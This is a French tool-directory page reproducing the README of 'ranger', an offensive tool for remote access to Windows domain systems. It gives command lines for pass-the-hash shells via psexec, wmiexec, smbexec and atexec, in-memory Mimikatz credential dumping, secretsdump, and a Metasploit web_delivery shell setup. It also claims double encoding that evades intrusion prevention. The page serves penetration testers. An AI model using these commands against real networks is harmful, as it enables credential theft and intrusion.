Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ranger — Un outil pour les professionnels de la sécurité pour accéder et interagir avec des systèmes distants basés sur Microsoft Windows. | Kitploit
Outils/GitHubGitHub/funkandwagnalls/ranger
Génération de PayloadsExploitationMouvement LatéralPost-ExploitationTests d'IntrusionCommandement et Contrôle
GitHubfunkandwagnalls/ranger

ranger

Un outil pour les professionnels de la sécurité pour accéder et interagir avec des systèmes distants basés sur Microsoft Windows.

Voir le dépôt
43182il y a 8 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

ranger

Un outil pour aider les professionnels de la sécurité à accéder et interagir avec des systèmes distants Microsoft Windows.

Ce projet a été conceptualisé avec la réflexion suivante : nous n'avons pas inventé l'arc ni la flèche, juste une manière plus efficace de les utiliser.

Ranger est un outil d'attaque et de test de pénétration piloté en ligne de commande, capable d'utiliser un serveur catapulte instantané pour délivrer des capacités contre des systèmes Windows. Tant qu'un utilisateur dispose d'un jeu d'identifiants ou d'un jeu de hachages (NTLM, LM, LM:NTLM), il peut accéder à des systèmes faisant partie du domaine de confiance.

Grâce à cette capacité, un professionnel de la sécurité peut extraire des identifiants en mémoire en clair, accéder aux tables SAM, exécuter des commandes, des scripts PowerShell, des binaires Windows et d'autres outils. Actuellement, l'outil contourne la majorité des solutions IPS des fournisseurs, sauf si celles-ci ont été spécifiquement adaptées pour le détecter. L'outil a été développé dans nos laboratoires domestiques afin de soutenir les professionnels de la sécurité menant des activités légalement et/ou contractuellement autorisées.

Davantage de fonctionnalités sont ajoutées, mais pour l'instant l'outil utilise les contributions communautaires des dépôts liés aux équipes PowerShell PowerView, PowerShell Mimikatz et Impacket.

Gestion de Ranger :

Installation :

root@kitploit:~
wget https://raw.githubusercontent.com/funkandwagnalls/ranger/master/setup.sh
chmod a+x setup.sh
./setup.sh
rm setup.sh

Mise à jour :

root@kitploit:~
ranger --update

Utilisation :

  • Ranger utilise une combinaison de méthodes et d'attaques ; une méthode sert à délivrer une attaque/commande
  • Une attaque est ce que vous essayez d'accomplir
  • Certains éléments sont à la fois une méthode et une attaque combinées, et certaines méthodes ne peuvent pas utiliser certaines attaques en raison des limitations actuelles des bibliothèques ou protocoles

Méthodes & Attaques :

root@kitploit:~
--scout
--secrets-dump

Méthode :

root@kitploit:~
--wmiexec
--psexec
--smbexec
--atexec

Attaque :

root@kitploit:~
--command
--invoker
--downloader
--executor
--domain-group-members
--local-group-members
--get-domain-membership
--get-forest-domains
--get-forest
--get-dc
--find-la-access

Exécution de commandes :

Trouver les utilisateurs connectés :

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] --scout

Shell de commande SMBEXEC :

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --smbexec -q -v -vv -vvv

Shell de commande PSEXEC :

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -q -v -vv -vvv

Exécution de commande PSEXEC :

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -c "Net User" -q -v -vv -vvv

Exécution de commande WMIEXEC :

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec -c "Net User"

Injecteur mémoire PowerShell Mimikatz WMIEXEC :

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker

Injecteur mémoire web_delivery Metasploit WMIEXEC (nécessite la configuration Metasploit, voir ci-dessous) :

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader

Injecteur mémoire de code personnalisé WMIEXEC :

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -c -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds"

Exécution de commande ATEXEC :

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --atexec -c "Net User" --no-encoder

Injecteur mémoire PowerShell Mimikatz ATEXEC :

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker --no-encoder

Injecteur mémoire web_delivery Metasploit ATEXEC (nécessite la configuration Metasploit, voir ci-dessous) :

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader --no-encoder

Injecteur mémoire de code personnalisé ATEXEC :

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds" --no-encoder

Injecteur mémoire de code personnalisé SECRETSDUMP :

root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --secrets-dump

Créer une attaque Mimikatz prête à coller :

root@kitploit:~
ranger.py --invoker -q -v -vv -vvv

Créer une attaque web_delivery prête à coller (nécessite la configuration Metasploit, voir ci-dessous) :

root@kitploit:~
ranger.py --downloader -q -v -vv -vvv

Créer une attaque Executor prête à coller :

root@kitploit:~
ranger.py --executor -q -v -vv -vvv

Identification des membres de groupes et des domaines

  • Lors de l'identification des groupes, assurez-vous de déterminer quel est le domaine de requête réel avec --get-domain-membership
  • Ensuite, lorsque vous interrogez un groupe, utilisez l'option facultative --domain, qui vous permet de cibler un domaine différent de celui auquel vous êtes connecté
root@kitploit:~
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --get-domain-membership
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --domain "Domain.local2"

Remarques sur l'utilisation :

Format du fichier d'identifiants :

  • Vous pouvez lui passer une liste de noms d'utilisateur et mots de passe ou hachages dans le format suivant, dans le même fichier :
root@kitploit:~
username password
username LM:NTLM
username :NTLM
username **NO PASSWORD**:NTLM
PWDUMP
username PWDUMP domain
username password domain
username LM:NTLM domain
username :NTLM  domain
username **NO PASSWORD**:NTLM domain
PWDUMP domain
username PWDUMP domain

Mises en garde concernant le fichier d'identifiants :

  • Si vous fournissez des noms de domaine dans le fichier, ils seront utilisés à la place de WORKGROUP par défaut.
  • Si vous fournissez le nom de domaine via la ligne de commande -d, cela indiquera que vous souhaitez ignorer tous les noms de domaine du fichier.

Exécution en ligne de commande :

  • Si vous ne souhaitez pas utiliser le fichier, vous pouvez passer les détails directement via la ligne de commande.
  • Si vous souhaitez fournir des hachages au lieu de mots de passe, passez-les simplement via l'argument du mot de passe.
  • S'ils sont au format PWDUMP et que vous ne fournissez pas de nom d'utilisateur, le nom d'utilisateur sera extrait du hachage.
  • Si vous fournissez un nom d'utilisateur, il considérera que le même hachage s'applique à un utilisateur différent.
  • Utilisez les formats suivants pour le mot de passe :
root@kitploit:~
password
LM:NTLM
:NTLM
PWDUMP

Cibles et exclusions :

  • Les cibles et exclusions peuvent être utilisées simultanément

Cibles, plages de cibles, CIDR de cibles, listes de cibles, cibles XML NMAP :

  • Vous pouvez fournir une liste de cibles soit en utilisant une liste de cibles, soit via l'option de cible.
  • Vous pouvez fournir plusieurs fichiers de listes de cibles en les séparant par des virgules, et l'outil agrégera les données, supprimera les doublons puis exclura votre adresse IP de l'interface par défaut ou de l'interface que vous fournissez.
  • L'outil accepte les notations CIDR, les petites plages (192.168.195.1-100) ou les grandes plages (192.168.194.1-192.163.1.1) ou les adresses IP uniques.
  • Encore une fois, séparez-les par des virgules en ligne de commande ou placez-les dans un fichier délimité par des sauts de ligne.
  • Les XML NMAP peuvent également être utilisés pour cibler des systèmes, cela peut aussi être séparé par des virgules.
  • L'outil normalisera et supprimera les doublons avant de cibler les machines.
  • EXEMPLE : -t 192.168.195.1-100,192.168.195.200-192.168.198.3 -tl list1,list2,lis3 -tnX scan1.xml,scan2.xml

Exclusions, plages d'exclusion, CIDR d'exclusion, listes d'exclusion, XML NMAP d'exclusion :

  • Vous pouvez également exclure des cibles en utilisant les arguments d'exclusion. Ainsi, si vous ne touchez pas un petit classe C dans un classe A, l'outil s'en chargera.
  • Les exclusions peuvent être effectuées exactement de la même manière que les cibles, remplacez simplement le t dans les commandes par e.
  • EXEMPLE : -e 192.168.195.1-100,192.168.195.200-192.168.198.3 -el list1,list2,lis3 -enX scan1.xml,scan2.xml

Systèmes de protection contre les intrusions (IPS) :

  • Mimikatz, Downloader et Executor utilisent l'injection mémoire PowerShell en appelant d'autres services et protocoles.
  • Les commandes sont doublement encodées et contournent les solutions IPS actuelles (même de nouvelle génération) sauf si elles sont spécifiquement réglées pour détecter ces attaques.
  • ATEXEC est le seul qui atterrit actuellement sur le disque et n'encode pas ; il me reste encore du travail de réécriture à faire.

Attaques Invoker :

  • Exécute le PowerShell Mimikatz sur la machine cible
  • Par défaut, la fonction / cmdlet est Invoke-Mimikatz, qui peut être modifiée avec -f
  • Par défaut, les arguments sont DumpCreds, qui peuvent être modifiés avec -a
  • Invoker nécessite les options -f et -a si vous voulez changer la commande ; pour éviter d'utiliser -a, vous pouvez utiliser Executor
  • EXEMPLE : -x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"

Attaques Executor :

  • Permet d'exécuter des binaires et/ou des scripts PowerShell sur les machines cibles
  • Doit être dans le répertoire courant où se trouve le script ou le binaire sur votre machine d'attaque
  • Le script ou le binaire sera injecté directement en mémoire
  • Nécessite que le payload (binaire ou script) soit identifié avec -x
  • Nécessite que la fonction / cmdlet / arguments soient définis par -f
  • En option, vous pouvez définir davantage la commande avec -a si l'outil le nécessite
  • EXEMPLE 1 : -x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"
  • EXEMPLE 2 : -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds

Attaques Downloader (web_delivery) :

  • Pour configurer Metasploit pour l'exploit web_delivery, démarrez Metasploit et configurez l'exploit pour répondre aux conditions suivantes.
root@kitploit:~
use exploit/multi/script/web_delivery
set targets 2
set payload <choose your desired payload>
set lhost <your IP>
set lport <port for the shell make sure it is not a conflicting port>
set URIPATH /
set SRVPORT <the same as what is set by the -r option in ranger, defaults to 8888>
exploit -j

##FAQ

Erreurs d'accès refusé pour SMBEXEC et WMIEXEC

J'obtiens des erreurs d'accès refusé sur des machines Windows faisant partie d'un WORKGROUP.

Lorsqu'elles ne font pas partie d'un domaine, Windows par défaut n'a pas de partages administratifs. SMBEXEC repose sur l'activation des partages. De plus, WMIC n'est pas activé sur les machines WORKGROUP. SMBEXEC et WMIEXEC sont conçus pour cibler les protocoles activés sur les systèmes de domaine. Bien qu'il soit possible d'activer ces fonctions sur un système WORKGROUP, notez que vous introduisez des protocoles vulnérables (après tout, c'est pour cela que cet outil est conçu pour attaquer). Activer ces fonctionnalités sur votre système domestique principal que votre conjoint utilise aussi pour Facebook n'est probablement pas la meilleure idée.

  • Assurez-vous qu'il s'agit d'une machine de test qui vous appartient. Vous pouvez forcer l'activation des partages en suivant les instructions ici : http://www.wintips.org/how-to-enable-admin-shares-windows-7/
  • Si vous voulez déterminer quels partages sont exposés puis les cibler, vous pouvez utiliser un outil comme enum4linux puis utiliser l'argument --share share_name dans ranger pour essayer d'exécuter SMBEXEC.

Fonctionnalités futures :

Sortie colorée :

  • Continuer à ajouter une sortie colorée avec https://pypi.python.org/pypi/colorama
  • WINDOWER – Exécuter PowerShell sans cacher la fenêtre pour éviter certains systèmes de surveillance
  • GATHERER – Extracteur automatisé d'identifiants pour un groupe de domaine
  • HUNTER - Décision semi-intelligente (SID) – Identifie un chemin d'escalade basé sur les similitudes d'appartenance à un groupe à l'aide d'arbres de classification
  • Meilleur parsing NTDS et de groupe
  • Serveurs catapultes SMB

Remerciements :

  • Microsoft pour PowerShell (et à l'avance pour bash dans Windows !)
  • À l'équipe CoreLabs Impacket
  • À l'équipe PowerShellEmpire
  • À Mattifestation pour avoir lancé PowerSploit et PowerShellMafia et aux contributeurs pour continuer à le développer
  • À nos amis et à la communauté pour la communauté constructive

Présenté à :

[BSides Charm City 2016 : 23 avril 2016] (http://2016.bsidescharm.com/2016-talks/ranger-it-just-takes-one-account-to-take-down-an-enterprise)

Vidéo de la présentation :

[Vidéo] (https://youtu.be/HrXTrPzdR2Q?list=PL0YXeUocWA4NAGPmYdKNmQEh8H6iL_4Ik)

Distributions dont l'outil fait partie :

[Black Arch Linux] (https://blackarch.org/)

Télécharger l’outil